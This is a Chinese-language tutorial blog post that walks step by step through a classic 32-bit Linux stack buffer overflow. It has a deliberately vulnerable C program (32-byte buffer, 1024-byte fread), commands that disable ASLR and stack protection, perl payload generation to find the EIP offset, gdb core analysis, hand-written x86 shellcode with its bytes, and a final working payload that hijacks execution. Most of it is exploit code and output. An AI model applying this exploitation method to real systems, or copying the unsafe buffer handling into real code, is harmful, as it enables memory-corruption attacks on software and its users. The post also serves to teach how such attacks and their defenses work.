缓冲区溢出攻击方法是黑客入门的基础,本文以具体实例一步步介绍如何进行最初级的缓冲区溢出攻击。
攻击前准备
本文介绍的利用方法是最原始的方法,高版本Linux已启用数据执行保护和地址随机化安全特性防止这种初级的利用方法。为了向大家展示这种攻击方法,需要做如下的事情:
禁止地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space
系统支持编译32位的应用程序和运行库:
示例代码
为了直接展示缓冲区漏洞攻击方法,我们省掉了与网络相关的部分,而是直接编写一个带栈缓冲区溢出的代码:
- #include <stdio.h>
- #include <string.h>
- int main(int argc, char *argv[])
- {
- char buf[32];
- FILE *fp;
- fp = fopen("bad.txt", "r");
- if (!fp) {
- perror("fopen");
- return 1;
- }
- fread(buf, 1024, 1, fp);
- printf("data: %s\n", buf);
- return 0;
- }
示例代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。
下文就是这个程序作为漏洞代码,一步步剖析如何攻击。
编译程序
gcc -Wall -g -fno-stack-protector -o stack1 stack1.c -m32 -Wl,-zexecstack
笔者的Linux操作系统是64位的Ubuntu操作系统(12.04),该系统已支持数据执行保护功能和栈溢出检测功能。因此,使用-fno-stack-protector选项禁用栈溢出检测功能,-m32选项指定生成32位应用程序,-Wl,-zexecstack选项支持栈段可执行。
如果是32位Linux可以直接编译:gcc -Wall -g -o stack1 stack1.c
尝试修改EIP,控制执行路径
那么,该如何利用该缓冲区溢出问题,控制程序执行我们预期的行为呢?
buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径。
为此,需要知道从文件读取多少个字节,才开始覆盖EIP呢。一种方法是反编译程序进行推导,另一种方法是基测试的方法。我们选择后者进行尝试,然后确定写个多少字节才能覆盖EIP.
为了避免肉眼去数字符个数,使用perl脚本的计数功能,可以很方便生成字特殊字符串。下面是字符串重复和拼接用法例子:
输出30个'A'字符
$ perl -e 'printf "A"x30'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
输出30个'A'字符,后追加4个'B'字符
$ perl -e 'printf "A"x30 . "B"x4'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
尝试的方法很简单,EIP前的空间使用'A'填充,而EIP使用'BBBB'填充,使用两种不同的字母是为了方便找到边界。
目前知道buf大小为32个字符,可以先尝试填充32个'A'和追加'BBBB',如果程序没有出现segment fault,则每次增加'A'字符4个,直到程序segment fault。如果 'BBBB'刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,0x42424242(B的ascii码为0x42)是不可访问地址,马上segment fault,此时eip寄存器值就是0x42424242 。
我机器上的测试过程:
$ perl -e 'printf "A"x32 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒
已溢出,造成输出乱码,但没有segment fault
$ perl -e 'printf "A"x36 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault
$ perl -e 'printf "A"x40 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault
$ perl -e 'printf "A"x44 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒
输出乱码,但没有segment fault
$ perl -e 'printf "A"x48 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)
产生segment fault.
使用调试工具gdb分析此时的eip是否为0x4244242
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1...done.
[New LWP 6043]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info register eip
eip 0x42424242 0x42424242
Reading symbols from /home/ivan/exploit/stack1...done.
[New LWP 6043]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info register eip
eip 0x42424242 0x42424242
分析core文件,发现eip被写成'BBBB',注入内容中的'BBBB'刚才对准了栈中存放EIP的位置。
找到EIP位置,离成功迈进了一大步。
注入执行代码
控制EIP之后,下步动作就是往栈里面注入二进指令顺序,然后修改EIP执行这段代码。那么当函数执行完后,就老老实实地指行注入的指令。
通常将注入的这段指令称为shellcode。这段指令通常是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。
为了达到攻击成功的效果,我们不需要写一段复杂的shellcode去打开shell。为了证明成功控制程序,我们在终端上输出"FUCK"字符串,然后程序退出。
为了简单起引, 我们shellcode就相当于下面两句C语言的效果:
write(1, "FUCK\n", 5);
exit(0);
在Linux里面,上面两个C语句可通过两次系统调用(调用号分别为4和1)实现。
下面32位x86的汇编代码shell1.s:
- start:
- xor eax, eax
- xor ebx, ebx
- xor ecx, ecx
- xor edx, edx ; 寄存器清零
- mov bl, 1
- add esp, string - start ; 调整esp指向字符串
- mov ecx, esp
- mov dl, 5
- mov al, 4
- int 0x80 ;write(1, "FUNC\n", 5)
- mov al, 1
- mov bl, 1
- dec bl
- int 0x80 ; exit(0)
- string:
- db "FUCK",0xa
接着做编译和反编译
反编译命令: ndisasm shell1
根上述反编译出来的字节码,使用如下的perl命令来生成:
反编译结果如下:
- 00000000 31C0 xor ax,ax
- 00000002 31DB xor bx,bx
- 00000004 31C9 xor cx,cx
- 00000006 31D2 xor dx,dx
- 00000008 B301 mov bl,0x1
- 0000000A 83C41D add sp,byte +0x1d
- 0000000D 89E1 mov cx,sp
- 0000000F B205 mov dl,0x5
- 00000011 B004 mov al,0x4
- 00000013 CD80 int 0x80
- 00000015 B001 mov al,0x1
- 00000017 B301 mov bl,0x1
- 00000019 FECB dec bl
- 0000001B CD80 int 0x80
- 0000001D 46 inc si
- 0000001E 55 push bp
- 0000001F 43 inc bx
- 00000020 4B dec bx
- 00000021 0A db 0x0a
根上述反编译出来的字节码,使用如下的perl命令来生成:
perl -e 'printf "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"'
那么,将之前测试的那段注入内容拼在一块,生成的命令如下:
perl -e 'printf "A"x48 . "B"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt
打通任督二脉
上面找到修改EIP的位置,但这个EIP应该修改为什么值,函数返回时,才能执行注入的shellcode呢。
很简单,当函数返回时,EIP值弹出给PC,然后ESP寄存器值往上走,刚才指向我们的shellcode。因此,我们再使用上面的注入内容,生成core时,esp寄存器的值,就是shellcode的开始地址,也就是EIP应该注入的值。
$ perl -e 'printf "A"x48 . "B"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒
Segmentation fault (core dumped)
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒
Segmentation fault (core dumped)
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1...done.
[New LWP 7399]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info register esp
esp 0xffffd710 0xffffd710
Reading symbols from /home/ivan/exploit/stack1...done.
[New LWP 7399]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info register esp
esp 0xffffd710 0xffffd710
esp值为0xffffd710,EIP注入值就是该值,但由于X86是小端的字节序,所以注入字节串为"\x10\xd7\xff\xff"
所以将EIP原来的注入值'BBBB'变成"\x10\xd7\xff\xff"即可。再次测试:
$ perl -e 'printf "A"x48 ."\x10\xd7\xff\xff" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒
FUCK
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒
FUCK
成功了,程序输出FUCK字符串了,证明成功控制了EIP,并执行shellcode.
小结
这里没有任何魔术手法,完全是利用缓冲区溢出漏洞,控制程序执行用户注入的一段shellcode。是否要动手试试,那赶快吧,但不同的机器,EIP对准的位置是不一样的,请大家测试时注意。
本文介绍的是最古老(10+前年)的攻击技术,当前硬件已支持数据保护功能,也即栈上注入的指令无法执行,同时现在操作系统默认启用地址随机化功能,很难猜测到EIP注入的地址。
但这里技术,都不妨碍我们学习最古老的攻击技术;后面的文章会沿着攻防的思路,介绍保护机制以及新一轮的攻击技术。
============= 回顾一下本系列文章 ==============